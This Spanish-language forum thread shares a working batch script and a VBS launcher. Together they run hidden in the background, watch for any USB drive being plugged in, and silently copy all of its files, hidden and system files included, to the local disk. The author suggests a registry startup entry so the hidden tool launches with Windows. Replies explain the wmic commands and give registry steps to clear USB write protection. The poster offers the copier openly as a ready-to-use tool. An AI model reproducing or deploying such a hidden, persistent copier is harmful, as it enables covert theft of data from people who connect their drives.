Buenas tardes comunidad,
Soy nuevo en el foro y me gustaria compartir mis conocimientos con ustedes
He creado un Script en batch hace unas horas, su funcionalidad es la de copiar todo el contenido de una memoria externa (Removable Disk) a nuestra unidad C: en las respectiva carpeta con nombre del numero de serie de la memoria
Son dos Archivos
El primero es el Script en si, es bastante funcional y no he encontrado errores al testearlo
Los archivos los ejecuto desde el disco local C:, pero se pueden cambiar los valores para ejecutarlos de cualquier directorio
Vol.bat
@echo off
:Script
set a=0
set __LogicalDisk.VolumeSerialNumber="Nul"
for /f "tokens=*" %%x in ('wmic logicaldisk Where "Description='Removable Disk'" Get /Format:list ^| FINDSTR /R /C:"=."') do (
SET __LogicalDisk.%%x
)
set b=%__LogicalDisk.VolumeSerialNumber%
if %b% NEQ "Nul" (
:loop
if exist c:\%__LogicalDisk.VolumeSerialNumber%%a% (
set/a a=%a% + 1
GOTO loop
)
xcopy /e/i/h/j/y %__LogicalDisk.Caption% c:\%__LogicalDisk.VolumeSerialNumber%%a%
)
Timeout /t 2 /nobreak >nul
GOTO Script
El segundo archivo es el lanzador, para que la consola no sea visible, el Script para lanzarlo esta desarrollado en VBS
Start.vbs
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "C:\vol.bat" & Chr(34), 0
Set WshShell = Nothing
La ejecucion del script se mantiene permanente, si ocurre algun error como retirar la memoria, el proceso de copiado se detiene pero el programa sigue corriendo, es decir sigue a la espera de nuevos dispositivos conectados para copiar
Si la memoria ya habia sido copiada previamente, se crea un directorio con el mismo nombre pero sumandole un numero, es decir si la carpeta se llama 12340, la siguiente carpeta seria 12341, esto es valioso debido a que si se hizo algun cambio en la memoria nuestra copia anterior no se ve afectada
Es capaz de copiar archivos ocultos y archivos de sistema.
Ya me imagino que estan pensando, y si hago que el archivo se ejecute siempre al iniciar el sistema?, claro, simplemente se configura el registro de windows y taran! tenemos nuestro archivo oculto, e iniciandose siempre con el sistema
Tambien se han de preguntar, no me hara lento mi SO? pues hice pruebas de rendimiento, y no hubo variacion cuando se ejecuta y cuando no con respecto al CPU.
Cualquier duda o aportacion dejenmela saber :)
me podrias explicar para que sirve esta parte
set __LogicalDisk.VolumeSerialNumber="Nul"
for /f "tokens=*" %%x in ('wmic logicaldisk Where "Description='Removable Disk'" Get /Format:list ^| FINDSTR /R /C:"=."') do (
SET __LogicalDisk.%%x
vi esto y me asuste Format:list
jajaja
Cita de: asdexiva en 13 Julio 2014, 03:05 AM
me podrias explicar para que sirve esta parte
set __LogicalDisk.VolumeSerialNumber="Nul"
for /f "tokens=*" %%x in ('wmic logicaldisk Where "Description='Removable Disk'" Get /Format:list ^| FINDSTR /R /C:"=."') do (
SET __LogicalDisk.%%x
vi esto y me asuste Format:list
jajaja
jajaja listo
format:list sirve para generar el resultado en formato de lista, la primera linea se le asigna un valor nulo a la variable para que no existan errores de asignacion en el lazo de repeticion
la segunda linea es un lazo de repeticion for, le pide por asi decirlo "al sistema" que le devuelva el detalle de todos los discos que especifica la condicion Where, entonces en cada ejecucion devuelve los discos extraibles que tiene el sistema.
la tercera linea, asigna el valor a la variable __LogicalDisk. lo que obtuvo el for,
__LogicalDisk. es solo una variable, se la puede cambiar por cualquier otra pero con los subguiones precedentes
por ejemplo
__LogicalDisk.Caption=E:
o puede ser tambien
__MiDiscoExterno.Caption=E:
Aclaro, este codigo no afecta ningun archivo almacenado, solo copia.
:D :D :D :D
buem programador..
como hago para quitar la proteccion contra escritura de un pendrive?????? :huh: :huh: :huh:
Cita de: mix2014 en 9 Agosto 2014, 20:36 PMcomo hago para quitar la proteccion contra escritura de un pendrive?????? :huh: :huh: :huh:
No es correcto invadir el post de otra persona para hacer una pregunta irrelevante al tema, si tienes dudas debes crear tu post.
Cita de: http://lmgtfy.com/?q=pendrive+remove+write+protectionTo remove write protection:
Open Start Menu >> Run, type regedit and press Enter. This will open the registry editor.
Navigate to the following path:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies
Double click the key WriteProtect in the right pane and set the value to 0
In the Data Value Box, press OK
Exit Registry, restart your computer and then re-connect your USB pen drive to your computer.
Saludos.